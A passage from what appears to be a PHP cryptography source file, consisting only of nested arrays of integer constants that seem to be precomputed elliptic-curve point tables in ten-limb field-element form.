array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295), array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369), ), array( array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385), array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109), array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906), ), array( array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424), array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185), array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962), ), array( array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325), array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593), array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404), ), array( array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644), array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801), array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804), ), array( array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884), array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577), array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849), ), array( array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473), array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644), array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319), ), ), array( array( array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599), array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768), array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084), ), array( array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328), array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369), array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920), ), array( array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815), array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025), array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397), ), array( array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448), array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981), array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165), ), array( array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501), array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073), array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861), ), array( array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845), array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211), array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870), ), array( array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096), array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803), array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168), ), array( array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965), array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505), array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598), ), ), array( array( array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782), array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900), array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479), ), array( array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208), array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232), array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719), ), array( array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271), array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326), array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132), ), array( array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300), array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570), array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670), ), array( array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994), array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913), array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317), ), array( array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730), array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096), array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078), ), array( array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411), array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905), array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654), ), array( array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870), array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498), array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579), ), ), array( array( array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677), array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647), array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743), ), array( array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468), array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375), array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155), ), array( array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725), array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612), array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943), ), array( array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944), array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928), array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406), ), array( array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139), array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963), array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693), ), array( array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734), array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680), array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410), ), array( array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931), array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654), array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710), ), array( array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180), array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684), array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895), ), ), array( array( array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501), array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413), array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880), ), array( array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874), array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962), array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899), ), array( array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152), array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063), array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080), ), array( array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146), array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183), array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133), ), array( array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421), array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622), array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197), ), array( array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663), array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753), array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755), ), array( array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862), array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118), array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171), ), array( array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380), array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824), array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270), ), ), array( array( array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438), array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584), array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562), ), array( array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471), array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610), array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269), ), array( array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650), array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369), array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461), ), array( array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462), array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793), array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218), ), array( array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226), array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019), array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037), ), array( array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171), array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132), array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841), ), array( array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181), array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210), array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040), ), array( array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935), array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105), array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814), ), ), array( array( array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852), array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581), array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646), ), array( array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844), array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025), array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453), ), array( array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068), array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192), array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921), ), array( array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259), array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426), array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072), ), array( array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305), array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832), array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943), ), array( array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011), array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447), array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494), ), array( array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245), array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859), array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915), ), array( array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707), array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848), array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224), ), ), array( array( array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391), array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215), array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101), ), array( array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713), array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849), array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930), ), array( array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940), array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031), array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404), ), array( array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243), array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116), array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525), ), array( array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509), array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883), array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865), ), array( array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660), array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273), array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138), ), array( array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560), array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135), array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941), ), array( array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739), array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756), array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819), ), ), array( array( array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347), array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028), array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075), ), array( array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799), array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609), array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817), ), array( array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989), array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523), array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278), ), array( array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045), array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377), array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480), ), array( array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016), array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426), array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525), ), array( array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396), array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080), array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892), ), array( array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275), array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074), array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140), ), array( array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717), array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101), array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127), ), ), array( array( array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632), array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415), array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160), ), array( array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876), array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625), array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478), ), array( array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164), array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595), array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248), ), array( array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858), array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193), array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184), ), array( array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942), array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635), array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948), ), array( array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935), array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415), array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416), ), array( array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018), array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778), array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659), ), array( array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385), array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503), array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329), ), ), array( array( array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056), array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838), array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948), ), array( array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691), array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118), array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517), ), array( array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269), array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904), array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589), ), array( array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193), array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910), array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930), ), array( array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667), array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481), array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876), ), array( array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640), array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278), array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112), ), array( array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272), array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012), array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221), ), array( array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046), array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345), array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310), ), ), array( array( array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937), array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636), array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008), ), array( array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429), array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576), array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066), ), array( array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490), array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104), array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053), ), array( array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275), array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511), array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095), ), array( array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439), array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939), array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424), ), array( array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310), array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608), array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079), ), array( array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101), array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418), array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576), ), array( array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356), array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996), array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099), ), ), array( array( array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728), array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 